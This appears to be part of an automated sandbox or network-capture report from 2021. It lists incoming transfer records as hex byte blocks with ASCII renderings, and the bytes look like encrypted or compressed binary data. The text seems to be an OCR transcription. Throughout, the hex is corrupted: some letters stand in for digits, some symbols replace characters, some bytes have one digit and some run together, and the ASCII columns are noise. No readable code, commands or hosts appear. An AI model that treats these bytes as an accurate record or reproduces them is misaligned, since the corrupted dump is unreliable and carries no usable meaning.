Data Ascii: fwil{L;w_r*H4Zk@|:(o\'~$|Hz1\5~('flIZiT5aY_y)\kl2Yu2hV:41gDBItb+xNdu&OjoxRE,FIZ]JOhL3}y_j*<o0>!hk%
en>

2021-10-13 13:52:05 UTC 602 IN Data Raw: a6 85 b8 el 46 99 fc 71 f0 51 cd 93 d5 6b 8b 9b 87 5a 39 18 7a 3c 78 44 75 ¢6 91 cc 7b 7c f7 f2 57 4c 4e 53 b5
de ¢3 36 aa 3f 9f 8¢ 65 98 b6 f1 15 41 53 99 40 12 a0 20 ee 99 49 d3 e7 6d dc a9 cd 64 c7 30 69 6a bb 95 60 08 d8 fc f4
91 7e ac 98 1f 4e fc Of 1d 2a b5 14 91 d9 71 f0 f6 2d 72 f3 18 97 39 26 82 f0 3c a2 29 b2 54 53 53 97 dd ec a0 44 a9 f5 ec
62 7e 39 ff 18 a0 fe e8 7a 41 ec d8 63 96 37 74 c7 e7 8f al fa 1b fd 2b 84 b5 59 2a 09 b0 66 66 c3 8e 95 b6 b2 dd 7e 7f Oe
70 cb 62 70 38 5e a8 97 54 5¢ b1 e0 41 65 e6 ef df 18 3b cf aa 5d 66 70 68 5f c1 87 be 23 9b 86 e0 d0 38 Oe 10 51 a2 7
f1 6d 7a ff cf c3 5f 1f al 71 bd d8 c3 a9 f5 cb 13 8f 0d ed b5 2c 8f 6a 79 8c ac a2 0d 41 6f d5 c8 Oe cf 76 89 9d c8 1f Oe 30
89 3a ae e9 b4 4a 26 6b f1 aa 2e 07 99 2b
Data Ascii: FqQkZ9z<xDu{|WLNS6?eAS@ Imd0ij ~N*g-r9&<)TSSDb~9zAc7t+Y*ff~pbp8 T\Ae;]fph_#8Qmz_q,jyAov0
1J&K.+
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2021-10-13 13:52:05 UTC 603 IN Data Raw: 6f b3 3a f4 be 52 3a 4f ad 5b 19 db 3e fO db f7 11 d9 02 a7 e6 d3 b7 4b de aa 82 cf 90 07 eb 8b a8 b6 fe bf d6
98 a3 02 ab bb 89 fb ef 7e 77 dd ca b3 e7 99 1a 5f 85 d6 fa 66 90 fO 01 b2 78 cb 2a 84 75 63 47 59 7 22 36 95 59 d6 22
92 a8 82 9f ca df 04 39 d2 ad c1 c3 03 3f d8 22 27 d3 a9 ef b3 9e d6 2a b7 40 71 5¢ d9 5a 10 8d 24 33 5d 65 dd a5 01 65
82 7¢ 51 3c cc 07 1b 1le b9 54 23 74 dO c5 4a 66 09 8a 2b 4b bc 5b 4f 63 cb 5 11 79 42 21 3d a6 2a 63 68 eb 61 e7 d9
a5 cf f0 0d 04 08 47 fe f5 1d ff 09 56 00 9b 0d 1a 92 de e3 18 1a al 10 74 e8 bl ab 7a 7e 8e 95 54 04 af 6a 4b f5 6f 2d 27
0085 b9 88 9d 7f 17 da al 3c 31 d9 c5 ce 7f 24 23 15 42 ab 93 52 11 60 c0 5f 19 52 dc a5 e4 54 dO 70 10 00 d8 f0 39 56
2b f9 2a a3 Oe 46 2e 05 9c c7 9c 56 48 06 cc a7 20 a2
Data Ascii: 0:R:O[>K~w_fx*ucGY"6Y"9?"*@q\Z$3]ee|Q<T#tJf+K[OcyB!=*chaGViz~TjKo-'<1$#BR"_RTp9V+*F.VH

2021-10-13 13:52:05 UTC 604 IN Data Raw: 1a e0 b9 ed f9 b7 41 1f 3f 62 3d 9a 96 24 42 e8 53 08 ca fc 29 64 63 d8 71 98 4f d7 2c 72 a6 d4 87 ac 4f f6 84
ab 86 5e e3 77 26 bc el 52 32 b6 28 0a 84 54 ce 2e 26 1a 5d 9e 5f 4f 17 7d 9e bf 31 07 c1 64 fd 7e 13 84 f2 87 27 74 a3
3a 4c 0f 85 38 Oe f8 a9 ff f4 e3 a9 74 fd b4 11 48 7c Oc c8 40 97 3b 75 09 81 dc 21 33 ba 55 83 9f el el fd 9f 64 e4 12 7a
da ef ce df 38 7c 2a 56 7c a3 54 be 17 c5 2b Ob 4b 22 a6 99 5c 5e 9f b9 d8 a6 27 64 58 ee €6 54 51 43 9d 1e 95 90 ab 76
25 78 25 fc 95 65 80 36 af 47 e5 b1 72 10 el 29 82 6 1c 6b 5f 51 63 f2 47 84 59 43 ee dc 0d 85 55 de f1 93 12 fc fa 22 ae
e7 cb cl3d 9c e0 40 3c d8 2e 1b 34 a4 7f 1f 67 1a 61 4e 13 25 8c d3 07 d5 f7 25 4b 63 13 15 08 bf a6 56 9d b0 99 10 18
el 05 33 4a 6d 4f 39 47 dd bf 19 de 43 2f 15 4b
Data Ascii: A?b=$BS)dcqO,rO"w&R2(T.&]_O}1d~'t:L8tH|@;u!3Udz8|*V|T+K"WWdXTQCVv%x%e6Grk_QcGYCU"=@<.4g
aN%%KcV3ImO9GC/K

2021-10-13 13:52:05 UTC 605 IN Data Raw: 58 fa 81 16 de 27 8e f1 89 b7 7 a5 b5 01 83 92 5d 4f 16 70 Oe ce 64 c4 cd d8 7b 02 a3 e3 f0 87 f6 fb 77 66 5¢
bb cd 57 d1 c0 30 c0 5¢ 8b 9c d9 2b 04 92 ac be 60 40 7a 9f 9a 42 03 ca 40 c6 86 21 70 3a b3 4a al 43 3d 51 4c ad a8 71
95 d1 23 a8 4a 4f 3a bd f1 3a 07 17 d5 5a 8c 05 da ee ff 9f 9c f8 27 b2 45 b0 dc 11 €9 40 aa c4 a3 55 61 c5 f8 d4 69 09 e9
e5 5a f6 25 2a b5 23 30 29 92 29 eb 8d 48 60 45 1f 4b ¢7 2c d1 f3 0Oe Ob 9b 10 65 15 66 61 19 74 €0 be c8 8e 10 bb 20 60
e8 46 92 0f 20 36 f2 3a 4a 7f 2e 1e d5 9d 89 50 af b6 41 15 5¢ c2 ef 9c d7 el 7c 7c 4c e6 57 3d b8 2c af b6 08 19 6b b2 17
3cac c6 0b cd fa c5 67 6a dd 68 7d 6e d8 96 30 7f 57 32 2b ab 40 48 98 01 69 a5 31 aa c0 f8 65 9b 2e 75 70 f5 45 83 17
71 ab eb bf 2c 6a b2 82 66 20 0 e0 Oc 2b 67 1a
Data Ascii: X'JOpd{wA\WO\+ @zB@!p:JC=QLg#JO::Z'E@UaiZ%*#0))H EK efat "F 6:J.PA\||LW=,k<gjh}nOW2+@Hil
e.upEq,jf +g

2021-10-13 13:52:05 UTC 607 IN Data Raw: 7d 6c bb 13 69 6a d8 76 95 87 ab 28 b8 ac Oe 4f 49 52 75 22 11 32 9a 85 72 9d 83 84 al 8f 39 95 35 b0 6e 57
88 e9 e8 8d c7 01 e8 38 6b aa d5 5b 01 a9 ff 05 86 28 bf e6 al b0 41 a3 27 ca 7a 90 20 30 d7 37 c9 ef 59 ab f0 ¢7 9a 97
3a 3f9a 6a 07 7b 3c 5b 90 a0 36 02 5b c8 c1 8b 32 ed b1 61 f0 ee 07 01 12 39 95 d7 eb fa 74 93 a0 18 d9 52 74 85 22 32
b5 6¢ 7b ec 09 f1 63 a0 be 5d 55 1c 1f 3ach ec el 71 5f d4 77 f8 16 49 ed e6 7 cb 65 1b Oc 8e bb 81 d5 c6 ea 7b 6d db 2h
9b 15 8f cf 4e 4a 67 8a 3a dc 7b 66 b3 87 75 b3 04 b1 e7 90 9b 2d 50 68 f6 27 29 6b a5 5¢ Oc Oe b4 31 6a d4 dc al 44 9d
47 31 16 08 f6 35 9e 90 47 fc 27 cb 04 d8 95 f8 d6 8d c3 4e el f6 ec c2 8d 6¢ 55 €6 78 69 ca a5 27 bd 3d 32 8a 90 1a 3b
8399 18 c0 f7 89 15 Oc 75 7e f7 11 94 f6 00 83 ad 2a
Data Ascii: }lijv(OIRu"2r95nW8Kk[(A'z 07Y:?j{<[6[2a9tRt"2l{c]U:q_wle{m+NJg:{fu-Ph")k\1jDG15G'NIUxi'=2;u~*

2021-10-13 13:52:05 UTC 608 IN Data Raw: 40 1f 57 c0 7f b9 b4 33 82 59 01 3c fa bb eb f0 10 a0 dc d6 78 b3 09 b7 87 27 c2 f2 4f 16 60 17 92 b5 e1 03 7b
76 4e be b0 31 2b d9 3d 36 85 98 80 98 0f 7 3c 5¢ 1b 00 37 2f 13 49 df a5 72 c6 8e f9 20 71 b2 Ob a5 79 a0 59 84 1c ee
5b 76 9e a2 82 87 09 2f 34 d5 5a 8f dc 8b 9d 59 4c 22 92 dc ¢5 17 02 58 bf cf 26 65 86 f5 el f7 ad 97 al 7b 07 7c d5 54 f5
b9 80 13 27 b4 09 23 ea e7 7c 69 cc d1 84 3b f6 59 6d b5 a9 3f 39 39 85 ae f0 32 3 82 c4 d8 d1 ea f9 2a 6¢ ee df 08 bf 19
11 3e 5a 3b fe b7 98 59 1d 41 48 d2 09 52 78 37 b9 30 dc ed 0d 6d 22 d3 07 a9 a7 96 99 13 c7 74 14 77 {6 e2 88 ¢5 bc f5
3e 64 2a c2 44 f7 95 a2 8¢ 73 f5 97 e5 11 65 43 60 dd 55 29 b8 64 c9 21 09 8b 9b 92 87 aa f4 6b 5a e5 32 65 33 94 83 71
22 e4 ed 48 85 b9 79 ff 87 6¢ 88 3a 04 62 ef Oa
Data Ascii: @W3Y<x'O {VN1+=6<\7/Ir qyY[V/4ZYL"X&e{|T'#|i;Ym?992*>Z;YAHRx70m"tw>d*DseC U)d!kZ2e3q"Hyl:b

2021-10-13 13:52:05 UTC 609 IN Data Raw: 33 fb 78 72 93 91 81 3b fe 88 e3 37 aa 82 25 cd 97 82 1d e8 f3 7a 28 9a 87 65 ee ba 4c b4 4e 2d 34 cc de 64
7afe c8 el a7 33 d8 52 45 29 df 45 5d 6d 02 43 44 e8 ef ¢8 78 03 9d 5 3b 9b b4 86 be 95 67 b0 cf 77 df ee 3b 3c 18 8a f4
19 a2 19 bf b4 99 97 41 60 75 5b 9e f1 fa 21 fd 67 42 f7 29 a3 4c Oa e0 a9 fc 9e b5 55 66 a5 5e bl f1 21 f7 bd 03 f2 ¢7 2¢
b1 ef cd bl 5a 2d f2 56 d6 2d 51 99 e6 08 94 f2 9b d5 9c bf bb 3c ab a9 44 3d 3f 01 6¢ d2 1b 5¢ 9c ¢8 42 1f ff 62 20 d5 2d
7fe6 c1 93 67 e5 9d b2 5a fa 1a fa 05 90 5¢ 3a 04 70 b2 28 fb 2c 28 4e ae 27 2a 8d b7 56 7e cb 8a ea 17 3c 28 da b0 40
e4 82 2a b8 3f 9d 00 e6 b5 78 4e 98 8b 3e 0d 71 73 cb 16 8a 6a 27 1c a4 37 8¢ 12 6f ed 22 f1 22 c0 b4 dO de 05 12 04 77
a6 67 d2 57 bb 81 a5 87 1a 4a 9a 3b 7a 00 4e 46
Data Ascii: 3xr;7%z(eLN-4dz3RE)E]mCDXx;gw;<A’u[!gB)LUf,Z-V-Q<D=?I\Bb -gZ\:p(,(N*V~<(@*?xN>qsj'70""wgWJ;zZNF

2021-10-13 13:52:05 UTC 610 IN Data Raw: ee 34 be 61 ea 57 7f 91 fc 53 f2 21 07 ae 10 8f d3 af 4a e8 04 44 b5 08 f0 52 cc 0a 07 7f 4d el 8e 26 €9 7d cc

fd c6 15 46 10 2a dd f2 7e af f6 40 e5 8b 09 cc 8b f4 14 57 €8 d6 16 bd 73 7a 87 d5 13 11 b7 6b f6 db f2 09 b0 52 27 4f 52
39 0e 50 74 17 dc 0d 11 21 Oa ea 88 39 e6 f7 02 91 55 11 c0 8b b1 Oe 09 af 8c 28 40 0d ad 1f 5e 60 ea le e5 26 62 94 2b
4d 8d a9 3f 9b 38 1b 96 98 75 c9 93 5a 07 ac 40 b7 a9 c8 56 84 08 97 03 66 f7 1e b4 9e 41 53 91 d8 ca c7 c0 c1 de 9a a7
29 24 04 04 00 cf 61 da a9 3c 07 86 52 ba 79 73 4e 18 54 28 f6 c8 78 17 ee d7 e5 97 d1 8f 07 19 16 5d ee 92 1a 38 a5 39
Oc f6 f6 10 a4 b1 ed bl al 69 d9 a0 33 9f 7d 5e 7f Oc e0 68 bd b3 f4 fa 11 1f a6 80 ab 07 38 56 1e bl d5 7d ec 95 95 40 f1
€6 74 70 8c d5 b4 f4 b9 8e 1e bc Ob 15 d5 7e d7

Data Ascii: 4aWS!JDRM&}F*~@WszkR'ORIPHIU(@" &b+M?8uZ@VFAS)$a<RysNT(x]89i3}*h8V}i@tp~

2021-10-13 13:52:05 UTC 612 IN Data Raw: 4f 60 7c 85 8b b0 b0 f2 91 e2 92 Oc 71 a4 41 3a ad cf b3 4a a4 b5 ad 5a 7f ee fb f8 b6 cd dO f4 d5 57 ee 6 a6
44 34 20 50 8b 05 f9 6d f4 ea 37 55 07 3e c3 3e 2d Ob cd bf 89 8a 92 54 06 8b af 18 19 5b e2 66 80 e7 b9 41 1f ea f6 c5 fc
f2 7ac9 8e ca c7 a5 bl 11 41 b9 20 fc cb be a3 9e 30 ¢5 80 a8 21 1b 73 03 f8 76 a2 59 f8 88 b4 e3 ea 30 64 7d Oa 07 13
cd 75 fb 85 da f8 04 8b 19 a9 2c bf 81 52 89 12 20 38 fe 8a 4e eb a0 f1 7a 77 d9 56 8¢ 29 c3 87 79 8f 88 b1 69 ce a9 24 40
93 c1 6f 37 1d f1 b8 8e 10 85 2b d7 b4 71 4b 05 3d bf bf 76 fa 4d 00 af 41 af c2 45 ea 54 €8 b7 95 25 38 8e ch 88 01 63 3a
8a 2c 78 ee 19 d1 37 bf Oa ce ce 99 05 ae 65 15 5a 7a df a8 6a 4e 6e 41 a2 ea 11 c0 65 22 9¢ 8e 09 70 9¢ 64 11 b0 3f a4
€5 00 45 60 4c c4 21 f2 c0 ec 54 29 ef 07 29
Data Ascii: O'|gA:JZWD4 Pm7U>>-T[fAzA 0!svY0d}u,R 8NzwV)yi$@07+qK=vMAET%8c:,x7eZzjNnAe"pd?E L!T))

2021-10-13 13:52:05 UTC 613 IN Data Raw: 3b 70 6a 8d 32 04 ef 6a af d6 d4 19 48 d5 c0 bf dd fa 24 8a 70 6f 49 99 4f 56 14 62 82 17 b0 78 52 cd Ob 60 Ob
3f c7 ec ec 05 84 00 9e c9 d7 Of c6 bd 7c ad e4 49 65 c8 37 ea 52 84 b8 55 ba 34 6b 5f a5 c4 c1 a8 47 f8 90 6¢ 19 03 4e
41 35 8e 8c ab ed f5 39 ec 96 f1 a3 49 29 4e fO ce 00 f9 be 46 e7 87 04 b9 f9 29 24 9f af 89 02 9b 47 9a 1e 06 dO 2d 6f a6
68 28 53 31 8f ae 7f cc ac ¢3 Ob f3 9a e7 37 ¢5 fd b6 8f 18 ec 73 ba 42 f6 48 13 al 99 55 07 27 d8 43 03 90 ac f1 11 bf 2e
9c ed f8 74 e7 c4 18 bb d2 af 07 fc €9 72 64 3b al 15 ac 5b 78 83 3d 99 83 87 54 ee a8 le 53 25 f8 7f {5 bf 86 58 ff 74 64
6 fe 37 32 15 35 2f 92 59 2¢ 3a ed a0 44 5b 6e 90 33 a0 6b 3d 20 2d c6 ef 32 fe 7e 04 c3 80 ef c8 ae 48 cd a0 fa 90 e6 9c
6f 8e 55 a3 44 31 66 4e 49 20 el 9a 8e 37
Data Ascii: ;pj2jH$polOVbxR ?|le7RU4k_GINAS9I)NF)$G-0h(S17sBHU'C.trd;[x=TS%Xtd725/Y,:D[n3k= -2~HoUD1fNI 7

2021-10-13 13:52:05 UTC 614 IN Data Raw: 4e cc e5 11 9c¢ 1a 70 b3 49 35 75 36 09 ef 5b d0 c5 92 0f d3 ea a4 33 e7 a5 {3 1b bb a5 91 8b b7 fc af ¢8 d7 cc
d7 e4 97 4f 41 16 59 21 e8 6¢ 48 99 05 eb 90 ce 1a cl d4 09 7a ac ff 10 cb ¢5 70 f9 ef 97 3f 40 ca 98 fb cb 8f 1b ¢3 c1 Ob
d3 de 18 20 7b f4 ef ff 68 85 d0 a7 3d e8 02 c6 ad 12 04 8b 58 7a 04 b2 35 fO db a8 f4 51 f6 54 65 c1 29 f7 e2 41 17 1d b7
6d 91 11 57 17 19 e5 0a 92 19 2c ca 64 85 44 54 12 ff bb c4 9e 09 f7 c3 ed 76 c3 7c 7c cd e3 ef d5 dc d5 5f ac 2f 9d c0 b0
d3 b9 fd 0a 11 63 8d 9f ea d5 e0 13 f8 d9 25 02 e3 44 40 27 10 7f a5 91 58 07 31 94 3e ef Ob eb 83 96 43 72 9a 67 66 21
a2 2d 5e 93 bf 5f e8 2d 43 45 c2 de 3 36 4b 41 67 3e 38 cf 61 e7 57 97 62 bd 38 59 8d 1c f9 f3 45 33 c7 e9 7a 15 9c 45 6f
€2 8899 6e 55 71 6d 79 Oe 67 05 ca d2 f9
Data Ascii: NpI5u6[30AY!IHzp?@ {h=Xz5QTe)AmW,dDTv||_/c%D@'X1>Crgf!-* -CE6KAg>8aWb8YE3zEonUgmyg
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 615 IN Data Raw: 5e df 3c a9 79 30 al e7 03 3c 5d 82 Oc 85 3a d5 11 db fd 30 df dO 44 aa 2d 67 e4 5c 18 69 95 8d 85 9a bc 9d
7b 78 7b 77 f3 f8 41 83 29 3e 49 7f Ob f7 ba a4 4f 97 cf 68 03 50 f9 ec cf 86 5d a0 64 a8 56 6d 09 d4 af c8 66 1e 24 25 6e
d4 98 11 8e 91 3d f2 ea 66 1a al 40 de 1c 65 b8 6e 88 4e 23 39 6d ac 44 d1 bd cf 4b 2f fb €9 37 b0 9b db 8a e6 99 ca 8b
le fa da 49 3e 45 bb 43 b6 55 d9 7a €3 1b 9b f9 f6 42 d3 23 65 8f 1c f4 81 ae ef b7 67 92 9b ac ca bc 48 6f b0 3¢ 2f 10 6b
89 84 6b 27 el b5 b5 63 5e 32 0f 34 9d 3f 92 c9 69 4c 13 88 70 18 €0 42 80 7d 91 25 19 cb f9 81 7f c6 fd cd ea 09 25 d1
d9 e5 2c 65 90 20 cd 34 dd 00 5a c7 71 1a 0b f8 02 eb b7 3e 38 €9 a0 b8 el fe f2 ¢3 e2 43 b0 d9 03 75 f4 50 8f 8e 3a ea 2
bb 57 ac 28 65 6a 70 5a 10 dO d8 2a 1c 56 4e 28
Data Ascii: "<y0<]:0D-g\i{x{wA)>10hP]dVmf{$%n=f@enN#9mDK/7I>ECUzB#egHo</kk'c"24?iLpB}%%,e 4Zq>8CuP:/W
(ejpZ*VN(

2021-10-13 13:52:05 UTC 616 IN Data Raw: 58 25 fa bd 73 21 3c 1a 71 5a 8e 44 01 34 b7 39 73 6a 27 b7 01 d2 46 90 b4 42 90 ce df 6d fb 42 fd 93 ed 99
2627 c0 32 ba 71 d7 64 24 04 el 1d cb ba 19 f5 33 8a 5 5d a3 04 bc e3 c7 b7 ef 1e fO de ee 76 d5 85 35 a5 31 66 1d f2 5f
8f 64 Oc 7f ad b1 9b 88 6¢ el 68 2f 46 cf al e3 f3 76 6f 18 72 c8 43 8 8f f3 f4 b3 c3 61 65 49 4c ec bb f3 fa b0 Oe 10 54 7a
40 54 3a c0 7f bf 76 1b 8d 05 fd 3f 2c 87 87 b2 eb c1 91 87 2a d8 18 9b 02 fc 3d 91 da 18 d9 13 e0 de b9 eb 25 3f 4e 35
a5 b4 25 e9 81 9b 2a 21 d6 3 34 09 d4 5a 57 e8 ad e2 5d 5d Oc 36 33 ¢5 02 b7 21 1b 75 d3 dc Oa 1b b2 f0 31 40 db 12 c9
5d 7d 58 87 10 99 c2 31 fa 51 1d d2 06 58 a9 85 3c 59 ce 0d 58 1c 0b 3e 5d d7 77 Oc 87 d7 90 df 40 d0 7f 6b 7b a5 fd 7f
67 e4 21 al 8f fd 15 33 1b 8d 96 53 37 a5 e6 31
Data Ascii: X%s!<qZD49sj'FBmB&'2qd$3]v51f_dlh/FvorCaelLTz@T:v?,*=%?N5%*14ZW]]63!ul@][}X1QX<YX>]Jw@k{g!
3S71

2021-10-13 13:52:05 UTC 618 IN Data Raw: bf 5¢c 4a 70 ac 9b 46 be 5a 4b b0 a9 e0 cf 9e e6 59 bf 4d 18 48 d6 7c 6a 56 €8 92 bb c7 e3 9f 75 57 58 13 97
al 54 23 da e9 fb €9 5a 3a c5 ba d0 0f 8e 81 8e 1d 6e 3d 20 5d 3f dc e3 63 6d d8 05 35 b9 52 16 c2 db a4 45 8 c7 8f a3
7a6ac7 1f93 1e c3 ca 0d d9 a3 b7 40 ba 41 e6 76 2d 16 Ob 6f fa 2f df 4b 7 25 43 14 99 1a e4 6d 1c 7c 7a 1d 32 0f 07 a4
c0 4e 8c d5 9f 7f 3¢ 33 cc 57 e2 f0 27 fb 1c fb c8 8f c9 d6 eb 3f 3a c8 bf 7d 9e a3 bc e2 fc e2 2¢ 32 74 08 59 56 71 42 ac
c5 8d f5 df 61 49 56 15 53 02 78 68 15 c8 4c 3a 17 3a e6 76 c3 5f Of 4f 57 95 d5 b6 5e 60 bc 29 8d 18 69 8b d2 09 04 43
33 f18aac 01 a5 8f 3d 8c ae 6b a8 Oe cc a3 59 6f f3 70 08 7d b1 fd b3 2b df 6d 27 b2 15 22 72 e3 {7 19 af ac 06 81 40 12
bc 26 36 55 34 €8 Oc 6d 07 14 6b 6e b3 c9 b3 75
Data Ascii: \JpFZKYMH|jVUWXT#Z:n= ]2cm5REZzj@Av-0/K%Cm|z2N<3W'?:},2tYVqgBalVSxhL::v_OW"")iC3=kYop}+m™
r@&6U4mknu

2021-10-13 13:52:05 UTC 619 IN Data Raw: 6¢ el 8e 9e 5d 21 b5 f9 1b ¢5 6b 09 df db 02 26 c1 db 98 fa 4e 12 ea fd 96 b2 62 26 33 e7 d2 13 c0 07 9d 3c 8c
b4 03 e3 cf 03 48 31 59 a2 8d bd 9a 09 d9 a0 a7 02 b1 d7 66 40 fa 65 13 42 13 95 8f 89 43 26 30 72 76 f0 79 22 68 bc db
32 6f01 51 eb 92 c1 36 15 de 83 84 91 04 e0 76 Oc d9 03 43 c7 e6 5¢ 3c 84 3b bl 9f ed fb 2f b6 4a fc c6 9a 62 49 3e 91
ea 5e 22 40 Oc a5 77 ae 6b c3 fc 90 7e 65 8c eb 37 09 30 6a 69 ba 8f 43 41 e3 47 17 d4 b3 fa 70 59 b3 8e e5 5d 39 47 b8
47 0f 32 11 d7 4c 8e 4f f0 22 c¢7 41 ec dO €9 4d 69 49 53 ab 2d Oe 31 7a 6f 59 c8 5b 8e f2 63 2d 1e 6f 37 25 84 b2 1e 8e 30
849378 17 dc 0Ob a9 85 b2 el 88 53 69 2f 63 e2 41 b4 1e 6e c7 65 f0 87 de a3 1a 9b b9 89 eb ff 7f ad c2 3a 60 92 33 f1
8c ca 83 b5 69 90 58 50 23 cf d1 Of fe 01 c4 01 8f
Data Ascii: ['k&Nb&3<H1Yf@eBC&0rvy"h20Q6vC\<;/IbI>N@wk~e70jiCAGPY]9GG2LO"AMIIS-120Y[c-07%0xSi/cAne
T3iXP#

2021-10-13 13:52:05 UTC 620 IN Data Raw: f6 f5 27 20 18 3f da 11 8f Of 3f cf e2 ac 06 d4 60 bd 3c b8 ac 12 ba 3b Oe 53 38 68 a9 c5 1f c1 5d 28 0d d8 71
€538 1b 20 8d bd fb 92 78 a5 34 8a a6 74 a4 d9 14 1d 93 87 a2 15 a4 7e bb 64 fb 36 a8 48 48 13 aa 72 cc 32 6d 3d 5e 62
a7 eb b4 bf 5e 2a ce ed 08 ae 08 b7 6a db 17 b3 16 e2 54 f2 7b cb 6f b8 6d 02 26 c7 58 37 c0 aa 51 a2 64 Oc a2 b0 a9 26
da 64 8b a3 12 52 74 e4 f3 29 51 63 c9 3f 9e 09 9b c4 87 a5 4c 98 79 2¢ 62 5¢ 79 57 78 ef 33 ¢3 40 Of 7c c2 bb 4f 4d cf b4
29 03 06 1e 51 d4 7f 78 ef a2 73 94 81 5d 3d 3c 46 b1 81 38 a6 85 92 6¢ 45 b5 30 89 d4 32 7a 07 1b 35 Oc 37 e3 25 4a 81
76 9f 67 0f 9a 7b 8¢ 30 40 e8 ad 3f 43 al 8a 67 62 2d 22 c6 39 90 bb 92 ab cc 4d 25 bf 5¢ ea 38 57 d6 0d f6 Oc d5 85 36 fa
fb 83 92 e0 48 54 99 2e af 94 64 d9 31 42 13 5e
Data Ascii: ' ??°<;S8h](q8 x4t~d6HHr2m="b"*T{om&X7Qd&dRt)Qc?Ly,b\yWx3@|OM)Qxs]=<F8IE02z57%Jvg{0@?Cgb-
"9M%\8W6HT.d1B"

2021-10-13 13:52:05 UTC 621 IN Data Raw: 6 03 ¢3 67 ad fO 7d c7 5¢ 51 81 63 48 5f b2 ad f2 94 52 93 c9 6b 5 4c 9e d1 98 87 44 21 b2 37 57 13 d6 1d
2779 88 dd 0d 6d 99 ca a3 cd 78 1f 66 24 cd 14 f0 28 6b a3 97 00 63 6¢ €2 80 €3 a7 71 b6 5d c6 04 5d aa 8d da c7 cf b8
cfalel 4c a5 1c fa ae 8b c0 71 c5 ec c9 d2 49 89 3c b6 3f 05 af 47 ad bf f8 3¢ d6 03 10 4f fa 09 95 8b 92 45 4f 8 3f fO e6
7470 8c d9 8e 0d 73 ed 09 30 7e 7c 8e 00 c5 96 e8 dd 7f 80 75 8f 8e 2f ¢7 9b 7e 77 cc fO ae 9e 3c ec cb 3d c7 0a 96 dO
2d 07 ac 2¢ 82 a0 61 c0 23 b7 54 d5 ac 87 f7 73 4c d3 96 69 a6 d8 14 65 25 87 8d 7b f4 c1 3d 0f c4 c7 ee 28 aa db be b7
44 15 03 fa 54 81 37 e2 dd bd 9c ba 9e dc f7 a0 58 89 9e 83 el 3d 23 52 5d 37 7e fe d3 06 25 1d ef 9c f1 d8 36 14 Oc 5e
a7 8e cd 86 dd b4 3b 42 0f 29 f2 f2 e5 ea 4e 53 54
Data Ascii: g\QcH_RKLD!7W'ymxf$(kclq]]Lql<?G<OEO2tpsO~|u/~w<=-,a#TsLie%{=(DT7X=#R]7~%6";B)NST

2021-10-13 13:52:05 UTC 623 IN Data Raw: 51 1d 31 b8 4c 22 c0 65 5d 1c 12 b0 32 07 3e Of ed 9f c6 78 a5 3a a0 d6 92 Of d5 54 6 11 80 13 cc b2 b4 22 96
dc 01 60 b2 61 9c bf 12 7b 82 e7 e4 3f 39 53 6f c6 8d 7f c4 7b 13 f7 5a b6 9c 02 f4 54 20 bb Oc 8¢ 79 30 27 ce 71 be 67 5f
61 22 f7 8e 52 0d ab 30 6¢ a9 Oc 1e 87 el 73 23 03 ca f2 8b ca 45 26 00 76 70 11 06 26 ff 06 f6 6¢ 32 c2 3a ef Of 9f d1 6
db 62 68 f2 7e e9 fd 44 a3 55 a2 17 07 1b 45 63 89 al ¢5 05 f4 dc 19 5d 93 15 19 a6 e2 ee 7e 14 12 4d 95 72 49 af el 9a
cc b4 4e 19 2d 54 ff 45 b0 49 da b6 17 87 d2 51 36 Oc 26 29 69 27 29 7e b7 01 3d cb cd c7 fd 4b 36 49 1f 85 1c 21 17 8 6f
ec 8e c0 84 49 68 1d 81 a8 d2 3a ac cf 8f 2b 66 44 e5 53 5f a5 4d a9 80 ea Oa 51 5b da ff 86 32 d8 el d6 58 94 8d 63 05
2a 3aac e2 2e 7f 2d 44 1f 6d 2e 91 10 34 dd
Data Ascii: Q1L"e]2>x:T""a{?9S0{ZT y0'qg_a"ROIs#E&vp&I2:bh~DUEC]~MrIN-TEIQ6&)i)~=K6l!olh:+fDS_MQ[2Xc*:.-Dm.4

2021-10-13 13:52:05 UTC 624 IN Data Raw: Oc c6 16 07 e4 dd 2a 2e 6 4c dO f4 50 3e 9b 2b 66 b7 22 d3 ca c0 b2 e6 19 26 62 af 09 40 12 54 26 9e 18 74
€0 d4 6a 07 ad 36 f9 7d 33 e2 27 53 ¢4 7b 68 a0 8b 60 24 7e 2f d5 46 3b 29 7c dd 20 31 75 40 1a bd 3c 2e fa 81 a3 8c 3a
72 44 82 f0 bf 26 6¢ 78 e4 ea d4 99 4d 65 29 01 d5 5e 44 28 07 bd 1b 45 63 b9 8 f9 20 3a d4 59 86 32 73 a4 d9 el 92 21
78 6¢ f2 07 71 05 4b 23 b0 3 af 3c aa 16 73 4a 63 00 ec 8d b7 59 d2 23 41 6e 02 19 ec e7 f7 6d 08 10 5c 58 ba 68 06 Of
b7 d4 15 22 60 5e 4e 43 fb 54 28 86 €6 f1 c6 43 ae 35 90 Oc 49 ba f3 aa 3b 09 33 cc 58 74 ed 6 16 €7 cb df 80 c2 4c 84 fc
Oc 78 b0 fc a3 4a 74 8b bb bd 88 27 52 14 29 26 3c 6c fe ef €0 07 bd ba 88 6a d6 ec 08 ac 59 d3 3e 44 3f 51 5d e6 1c 08
c2 a3 23 fc 20 24 8b 18 0a 52 b9 ¢5 70 96 21 1b 7d 42
Data Ascii: *.LP>+{"&b@T&tj6}3'S{h'$~/F;)| Lu@<.:rD&IxMe)"D(Ec :Y2s!xlgK#<sIcY#Anm\Xh" ANCT(C51;3XtLxJt'R)&<lj
Y>D?QJ# $Rp!}B

2021-10-13 13:52:05 UTC 625 IN Data Raw: 4e 03 09 77 c4 39 08 cd le 6b 7 e5 fb c2 8f fe 1d 53 41 03 ae e3 a5 63 73 2d 85 52 60 66 99 4d ee €5 bb df 19
d5 34 b8 fc 9e dd 57 9d 99 8c ae f2 f0 60 8f 68 e7 01 f0 38 3d d5 fa 41 e2 8b 4c 2¢ 1a le df 8a bl 53 c5 ee a5 6a 5a da cf
88 43 5b Oe d9 fe 71 cf 24 36 78 3e 56 €8 6d ea e4 a8 87 ba 57 12 98 7f b6 c7 2e e6 81 14 56 b6 a3 82 03 d0 a6 0d 41 46
€2 3094 3b 6d 2d b6 85 0b e8 1d el b5 e9 6e c1 ae 23 d0 11 f8 ¢7 70 f2 59 21 df dO 93 54 50 5e 44 48 e6 e5 68 eb 53 9¢
ef 6a af Ob ce 79 ef 1e b4 a9 8d 58 24 8a 70 82 05 90 b9 9a 9d 73 33 d0 c8 20 ea d9 d5 9f 80 6d 1c 87 4f 39 f8 16 e7 e3 3f
